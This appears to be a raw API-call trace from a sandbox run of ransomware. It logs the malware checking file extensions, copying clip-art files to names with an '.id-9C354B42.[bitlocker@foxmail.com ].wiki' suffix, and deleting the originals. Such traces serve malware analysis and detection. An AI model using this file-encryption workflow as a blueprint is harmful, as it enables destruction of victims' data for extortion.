lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0193.703] lstrlenW (lpString=".zip") returned 4 [0193.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.703] lstrlenW (lpString=".rar") returned 4 [0193.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.703] lstrlenW (lpString=".bz2") returned 4 [0193.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.703] lstrlenW (lpString=".7z") returned 3 [0193.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0193.703] lstrlenW (lpString=".dbf") returned 4 [0193.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0193.703] lstrlenW (lpString=".1cd") returned 4 [0193.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0193.703] lstrlenW (lpString=".jpg") returned 4 [0193.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.704] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.704] lstrlenW (lpString="J0105386.WMF") returned 12 [0193.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.704] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5980) returned 1 [0193.704] CloseHandle (hObject=0x1cc) returned 1 [0193.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf")) returned 0x20 [0193.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.704] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.704] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0193.705] GetLastError () returned 0x0 [0193.705] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x175c, lpOverlapped=0x0) returned 1 [0193.706] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1760, lpOverlapped=0x0) returned 1 [0193.707] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.708] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.708] SetEndOfFile (hFile=0x220) returned 1 [0193.708] CloseHandle (hObject=0x220) returned 1 [0193.708] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.708] SetEndOfFile (hFile=0x1cc) returned 1 [0194.116] CloseHandle (hObject=0x1cc) returned 1 [0194.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf")) returned 1 [0194.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0194.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0194.116] lstrlenW (lpString=".doc") returned 4 [0194.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.116] lstrlenW (lpString=".docx") returned 5 [0194.116] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.116] lstrlenW (lpString=".pdf") returned 4 [0194.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.116] lstrlenW (lpString=".xls") returned 4 [0194.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.116] lstrlenW (lpString=".xlsx") returned 5 [0194.116] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.117] lstrlenW (lpString=".ppt") returned 4 [0194.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0194.117] lstrlenW (lpString=".zip") returned 4 [0194.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.117] lstrlenW (lpString=".rar") returned 4 [0194.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.117] lstrlenW (lpString=".bz2") returned 4 [0194.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.117] lstrlenW (lpString=".7z") returned 3 [0194.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0194.117] lstrlenW (lpString=".dbf") returned 4 [0194.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0194.117] lstrlenW (lpString=".1cd") returned 4 [0194.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0194.117] lstrlenW (lpString=".jpg") returned 4 [0194.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0194.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0194.117] lstrlenW (lpString=".doc") returned 4 [0194.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.117] lstrlenW (lpString=".docx") returned 5 [0194.117] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.117] lstrlenW (lpString=".pdf") returned 4 [0194.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.117] lstrlenW (lpString=".xls") returned 4 [0194.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.117] lstrlenW (lpString=".xlsx") returned 5 [0194.118] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.118] lstrlenW (lpString=".ppt") returned 4 [0194.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0194.118] lstrlenW (lpString=".zip") returned 4 [0194.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.118] lstrlenW (lpString=".rar") returned 4 [0194.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.118] lstrlenW (lpString=".bz2") returned 4 [0194.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.118] lstrlenW (lpString=".7z") returned 3 [0194.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0194.118] lstrlenW (lpString=".dbf") returned 4 [0194.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0194.118] lstrlenW (lpString=".1cd") returned 4 [0194.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0194.118] lstrlenW (lpString=".jpg") returned 4 [0194.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.118] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.118] lstrlenW (lpString="J0105520.WMF") returned 12 [0194.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.119] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=31812) returned 1 [0194.119] CloseHandle (hObject=0x1cc) returned 1 [0194.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf")) returned 0x20 [0194.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.119] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.119] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0194.120] GetLastError () returned 0x0 [0194.120] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x7c44, lpOverlapped=0x0) returned 1 [0194.122] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x7c50, lpOverlapped=0x0) returned 1 [0194.123] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.123] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.123] SetEndOfFile (hFile=0x1dc) returned 1 [0194.123] CloseHandle (hObject=0x1dc) returned 1 [0194.123] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.123] SetEndOfFile (hFile=0x1cc) returned 1 [0194.124] CloseHandle (hObject=0x1cc) returned 1 [0194.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf")) returned 1 [0194.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0194.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0194.125] lstrlenW (lpString=".doc") returned 4 [0194.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.125] lstrlenW (lpString=".docx") returned 5 [0194.125] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.125] lstrlenW (lpString=".pdf") returned 4 [0194.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.125] lstrlenW (lpString=".xls") returned 4 [0194.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.125] lstrlenW (lpString=".xlsx") returned 5 [0194.125] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.125] lstrlenW (lpString=".ppt") returned 4 [0194.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0194.125] lstrlenW (lpString=".zip") returned 4 [0194.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.125] lstrlenW (lpString=".rar") returned 4 [0194.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.125] lstrlenW (lpString=".bz2") returned 4 [0194.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.125] lstrlenW (lpString=".7z") returned 3 [0194.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0194.125] lstrlenW (lpString=".dbf") returned 4 [0194.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0194.126] lstrlenW (lpString=".1cd") returned 4 [0194.126] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0194.126] lstrlenW (lpString=".jpg") returned 4 [0194.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0194.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0194.126] lstrlenW (lpString=".doc") returned 4 [0194.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.126] lstrlenW (lpString=".docx") returned 5 [0194.126] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.126] lstrlenW (lpString=".pdf") returned 4 [0194.126] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.126] lstrlenW (lpString=".xls") returned 4 [0194.126] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.126] lstrlenW (lpString=".xlsx") returned 5 [0194.126] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.126] lstrlenW (lpString=".ppt") returned 4 [0194.126] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0194.126] lstrlenW (lpString=".zip") returned 4 [0194.126] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.126] lstrlenW (lpString=".rar") returned 4 [0194.126] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.126] lstrlenW (lpString=".bz2") returned 4 [0194.126] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.126] lstrlenW (lpString=".7z") returned 3 [0194.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0194.126] lstrlenW (lpString=".dbf") returned 4 [0194.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0194.127] lstrlenW (lpString=".1cd") returned 4 [0194.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0194.127] lstrlenW (lpString=".jpg") returned 4 [0194.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.127] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.127] lstrlenW (lpString="J0105526.WMF") returned 12 [0194.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.127] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=17332) returned 1 [0194.127] CloseHandle (hObject=0x1cc) returned 1 [0194.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf")) returned 0x20 [0194.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.128] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.128] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0194.128] GetLastError () returned 0x0 [0194.128] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x43b4, lpOverlapped=0x0) returned 1 [0194.130] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x43c0, lpOverlapped=0x0) returned 1 [0194.131] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.131] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.131] SetEndOfFile (hFile=0x1dc) returned 1 [0194.132] CloseHandle (hObject=0x1dc) returned 1 [0194.132] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.132] SetEndOfFile (hFile=0x1cc) returned 1 [0194.132] CloseHandle (hObject=0x1cc) returned 1 [0194.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf")) returned 1 [0194.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0194.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0194.133] lstrlenW (lpString=".doc") returned 4 [0194.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.133] lstrlenW (lpString=".docx") returned 5 [0194.133] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.133] lstrlenW (lpString=".pdf") returned 4 [0194.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.133] lstrlenW (lpString=".xls") returned 4 [0194.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.133] lstrlenW (lpString=".xlsx") returned 5 [0194.133] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.133] lstrlenW (lpString=".ppt") returned 4 [0194.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0194.133] lstrlenW (lpString=".zip") returned 4 [0194.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.133] lstrlenW (lpString=".rar") returned 4 [0194.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.133] lstrlenW (lpString=".bz2") returned 4 [0194.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.134] lstrlenW (lpString=".7z") returned 3 [0194.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0194.134] lstrlenW (lpString=".dbf") returned 4 [0194.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0194.134] lstrlenW (lpString=".1cd") returned 4 [0194.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0194.134] lstrlenW (lpString=".jpg") returned 4 [0194.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0194.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0194.134] lstrlenW (lpString=".doc") returned 4 [0194.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.134] lstrlenW (lpString=".docx") returned 5 [0194.134] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.134] lstrlenW (lpString=".pdf") returned 4 [0194.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.134] lstrlenW (lpString=".xls") returned 4 [0194.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.134] lstrlenW (lpString=".xlsx") returned 5 [0194.134] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.134] lstrlenW (lpString=".ppt") returned 4 [0194.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0194.134] lstrlenW (lpString=".zip") returned 4 [0194.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.134] lstrlenW (lpString=".rar") returned 4 [0194.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.134] lstrlenW (lpString=".bz2") returned 4 [0194.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.135] lstrlenW (lpString=".7z") returned 3 [0194.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0194.135] lstrlenW (lpString=".dbf") returned 4 [0194.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 